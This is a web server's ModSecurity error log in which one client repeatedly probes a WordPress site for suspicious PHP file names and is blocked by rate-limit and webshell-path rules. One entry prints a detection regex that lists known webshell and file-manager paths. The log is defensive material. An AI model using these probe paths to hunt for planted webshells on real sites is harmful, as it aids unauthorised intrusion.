[Mon Feb 23 01:04:13.626258 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:22193] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZs3DfFTHI_ud-cTYbTtiAAAARM"]
[Mon Feb 23 01:04:14.097713 2026] [:error] [pid 4806:tid 4818] [client 20.203.249.16:28748] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZs3DvFTHI_ud-cTYbTtigAAAQo"]
[Mon Feb 23 01:04:17.608419 2026] [:error] [pid 28424:tid 28448] [client 20.203.249.16:25969] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZs3EQBAZT_BJOxE-Z4lLgAAABQ"]
[Mon Feb 23 01:04:18.080188 2026] [:error] [pid 28426:tid 28545] [client 20.203.249.16:25908] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZs3EmgbPVf4pO12NZnL0AAAAJc"]
[Mon Feb 23 01:04:18.553372 2026] [:error] [pid 28558:tid 28572] [client 20.203.249.16:24918] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aZs3EidFHR5e1Gd10vd6WwAAAMw"]
[Mon Feb 23 01:04:19.025130 2026] [:error] [pid 28558:tid 28581] [client 20.203.249.16:1942] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aZs3EydFHR5e1Gd10vd6XQAAANU"]
[Mon Feb 23 01:04:19.512606 2026] [:error] [pid 4806:tid 4816] [client 20.203.249.16:1589] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aZs3E_FTHI_ud-cTYbTtqAAAAQg"]
[Mon Feb 23 01:04:27.013207 2026] [:error] [pid 28426:tid 28525] [client 20.203.249.16:26411] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aZs3G2gbPVf4pO12NZnL4AAAAIQ"]
[Mon Feb 23 01:04:27.486825 2026] [:error] [pid 28558:tid 28571] [client 20.203.249.16:1812] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/async.php"] [unique_id "aZs3GydFHR5e1Gd10vd6awAAAMs"]
[Mon Feb 23 01:04:30.979590 2026] [:error] [pid 4806:tid 4815] [client 20.203.249.16:18165] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/async.php"] [unique_id "aZs3HvFTHI_ud-cTYbTtzwAAAQc"]
[Mon Feb 23 01:04:31.450538 2026] [:error] [pid 28558:tid 28579] [client 20.203.249.16:19234] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/async.php"] [unique_id "aZs3HydFHR5e1Gd10vd6cgAAANM"]
[Mon Feb 23 01:04:31.925866 2026] [:error] [pid 28424:tid 28438] [client 20.203.249.16:1213] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/async.php"] [unique_id "aZs3HwBAZT_BJOxE-Z4lOgAAAAo"]
[Mon Feb 23 01:04:32.398081 2026] [:error] [pid 28426:tid 28532] [client 20.203.249.16:22864] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZs3IGgbPVf4pO12NZnL5AAAAIo"]
[Mon Feb 23 01:04:32.871200 2026] [:error] [pid 28424:tid 28436] [client 20.203.249.16:1212] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZs3IABAZT_BJOxE-Z4lOwAAAAg"]
[Mon Feb 23 01:04:33.345203 2026] [:error] [pid 28424:tid 28437] [client 20.203.249.16:20789] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZs3IQBAZT_BJOxE-Z4lPQAAAAk"]
[Mon Feb 23 01:04:33.830553 2026] [:error] [pid 28424:tid 28429] [client 20.203.249.16:29051] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZs3IQBAZT_BJOxE-Z4lPgAAAAE"]
[Mon Feb 23 01:04:34.302856 2026] [:error] [pid 28425:tid 28508] [client 20.203.249.16:17428] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aZs3IjO7QIkwG1UqFGzlhAAAAE8"]
[Mon Feb 23 01:04:34.781353 2026] [:error] [pid 28426:tid 28534] [client 20.203.249.16:1119] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aZs3ImgbPVf4pO12NZnL5wAAAIw"]
[Mon Feb 23 01:04:42.269343 2026] [:error] [pid 4806:tid 4832] [client 20.203.249.16:21780] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aZs3KvFTHI_ud-cTYbTt3QAAARg"]
[Mon Feb 23 01:04:42.742998 2026] [:error] [pid 28424:tid 28448] [client 20.203.249.16:21813] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aZs3KgBAZT_BJOxE-Z4lVwAAABQ"]
[Mon Feb 23 01:04:43.215836 2026] [:error] [pid 28424:tid 28444] [client 20.203.249.16:26933] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aZs3KwBAZT_BJOxE-Z4lWQAAABA"]
[Mon Feb 23 01:04:43.688398 2026] [:error] [pid 4806:tid 4819] [client 20.203.249.16:19276] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aZs3K_FTHI_ud-cTYbTt3gAAAQs"]
[Mon Feb 23 01:04:44.160382 2026] [:error] [pid 28426:tid 28526] [client 20.203.249.16:25207] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aZs3LGgbPVf4pO12NZnL9gAAAIU"]
[Mon Feb 23 01:04:44.632414 2026] [:error] [pid 4806:tid 4817] [client 20.203.249.16:27480] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aZs3LPFTHI_ud-cTYbTt4AAAAQk"]
[Mon Feb 23 01:04:45.104161 2026] [:error] [pid 28558:tid 28566] [client 20.203.249.16:25490] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aZs3LSdFHR5e1Gd10vd6mQAAAMY"]
[Mon Feb 23 01:04:45.578053 2026] [:error] [pid 4806:tid 4822] [client 20.203.249.16:29059] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aZs3LfFTHI_ud-cTYbTt4wAAAQ4"]
[Mon Feb 23 01:04:46.049393 2026] [:error] [pid 28558:tid 28560] [client 20.203.249.16:25161] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aZs3LidFHR5e1Gd10vd6mwAAAMA"]
[Mon Feb 23 01:04:53.547304 2026] [:error] [pid 4806:tid 4816] [client 20.203.249.16:26894] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aZs3NfFTHI_ud-cTYbTt_AAAAQg"]
[Mon Feb 23 01:04:54.019227 2026] [:error] [pid 28425:tid 28495] [client 20.203.249.16:24062] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aZs3NjO7QIkwG1UqFGzlvQAAAEI"]
[Mon Feb 23 01:04:54.519642 2026] [:error] [pid 28426:tid 28538] [client 20.203.249.16:21778] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aZs3NmgbPVf4pO12NZnMCAAAAJA"]
[Mon Feb 23 01:04:54.998573 2026] [:error] [pid 28424:tid 28434] [client 20.203.249.16:26610] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aZs3NgBAZT_BJOxE-Z4ldgAAAAY"]
[Mon Feb 23 01:04:55.472442 2026] [:error] [pid 28558:tid 28581] [client 20.203.249.16:24713] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aZs3NydFHR5e1Gd10vd6rgAAANU"]
[Mon Feb 23 01:04:55.945197 2026] [:error] [pid 28558:tid 28577] [client 20.203.249.16:7817] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aZs3NydFHR5e1Gd10vd6rwAAANE"]
[Mon Feb 23 01:04:56.464820 2026] [:error] [pid 4806:tid 4829] [client 20.203.249.16:29381] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aZs3OPFTHI_ud-cTYbTuDgAAARU"]
[Mon Feb 23 01:04:56.938393 2026] [:error] [pid 4806:tid 4832] [client 20.203.249.16:26594] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aZs3OPFTHI_ud-cTYbTuDwAAARg"]
[Mon Feb 23 01:04:57.410646 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:20187] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aZs3OfFTHI_ud-cTYbTuEAAAARI"]
[Mon Feb 23 01:04:57.881771 2026] [:error] [pid 28426:tid 28539] [client 20.203.249.16:31281] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cbrfo.php"] [unique_id "aZs3OWgbPVf4pO12NZnMEAAAAJE"]
[Mon Feb 23 01:04:58.353177 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:20165] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cbrfo.php"] [unique_id "aZs3OvFTHI_ud-cTYbTuEQAAARA"]
[Mon Feb 23 01:05:01.850180 2026] [:error] [pid 4806:tid 4811] [client 20.203.249.16:8228] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cbrfo.php"] [unique_id "aZs3PfFTHI_ud-cTYbTuHgAAAQM"]
[Mon Feb 23 01:05:02.322541 2026] [:error] [pid 4806:tid 4817] [client 20.203.249.16:24732] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cbrfo.php"] [unique_id "aZs3PvFTHI_ud-cTYbTuIgAAAQk"]
[Mon Feb 23 01:05:02.793669 2026] [:error] [pid 4806:tid 4831] [client 20.203.249.16:7537] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aZs3PvFTHI_ud-cTYbTuJgAAARc"]
[Mon Feb 23 01:05:15.515830 2026] [:error] [pid 28425:tid 28497] [client 20.203.249.16:6428] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZs3SzO7QIkwG1UqFGzl8wAAAEQ"]
[Mon Feb 23 01:05:43.044646 2026] [:error] [pid 28558:tid 28565] [client 20.203.249.16:26600] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ddd.php"] [unique_id "aZs3ZydFHR5e1Gd10vd7EgAAAMU"]
[Mon Feb 23 01:05:43.521259 2026] [:error] [pid 28558:tid 28561] [client 20.203.249.16:17828] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ddd.php"] [unique_id "aZs3ZydFHR5e1Gd10vd7FwAAAME"]
[Mon Feb 23 01:05:44.993978 2026] [:error] [pid 28558:tid 28584] [client 20.203.249.16:18551] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ddd.php"] [unique_id "aZs3aCdFHR5e1Gd10vd7HAAAANg"]
[Mon Feb 23 01:05:45.467813 2026] [:error] [pid 28425:tid 28493] [client 20.203.249.16:20470] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ddd.php"] [unique_id "aZs3aTO7QIkwG1UqFGzmHQAAAEA"]
[Mon Feb 23 01:05:45.939378 2026] [:error] [pid 4806:tid 4815] [client 20.203.249.16:25726] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aZs3afFTHI_ud-cTYbTuowAAAQc"]
[Mon Feb 23 01:05:46.409962 2026] [:error] [pid 28558:tid 28577] [client 20.203.249.16:20418] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aZs3aidFHR5e1Gd10vd7IwAAANE"]
[Mon Feb 23 01:05:46.882194 2026] [:error] [pid 28424:tid 28450] [client 20.203.249.16:1552] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aZs3agBAZT_BJOxE-Z4l3gAAABY"]
[Mon Feb 23 01:05:47.354917 2026] [:error] [pid 28558:tid 28576] [client 20.203.249.16:22044] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aZs3aydFHR5e1Gd10vd7KQAAANA"]
[Mon Feb 23 01:05:47.827349 2026] [:error] [pid 28424:tid 28448] [client 20.203.249.16:1632] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aZs3awBAZT_BJOxE-Z4l5gAAABQ"]
[Mon Feb 23 01:05:55.329133 2026] [:error] [pid 4806:tid 4814] [client 20.203.249.16:27435] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aZs3c_FTHI_ud-cTYbTuxgAAAQY"]
[Mon Feb 23 01:05:55.800055 2026] [:error] [pid 4806:tid 4819] [client 20.203.249.16:27424] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aZs3c_FTHI_ud-cTYbTuyQAAAQs"]
[Mon Feb 23 01:05:56.273303 2026] [:error] [pid 28558:tid 28575] [client 20.203.249.16:23185] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aZs3dCdFHR5e1Gd10vd7NAAAAM8"]
[Mon Feb 23 01:05:56.747517 2026] [:error] [pid 28426:tid 28544] [client 20.203.249.16:27960] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aZs3dGgbPVf4pO12NZnMYQAAAJY"]
[Mon Feb 23 01:05:57.221823 2026] [:error] [pid 28426:tid 28546] [client 20.203.249.16:22359] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aZs3dWgbPVf4pO12NZnMYgAAAJg"]
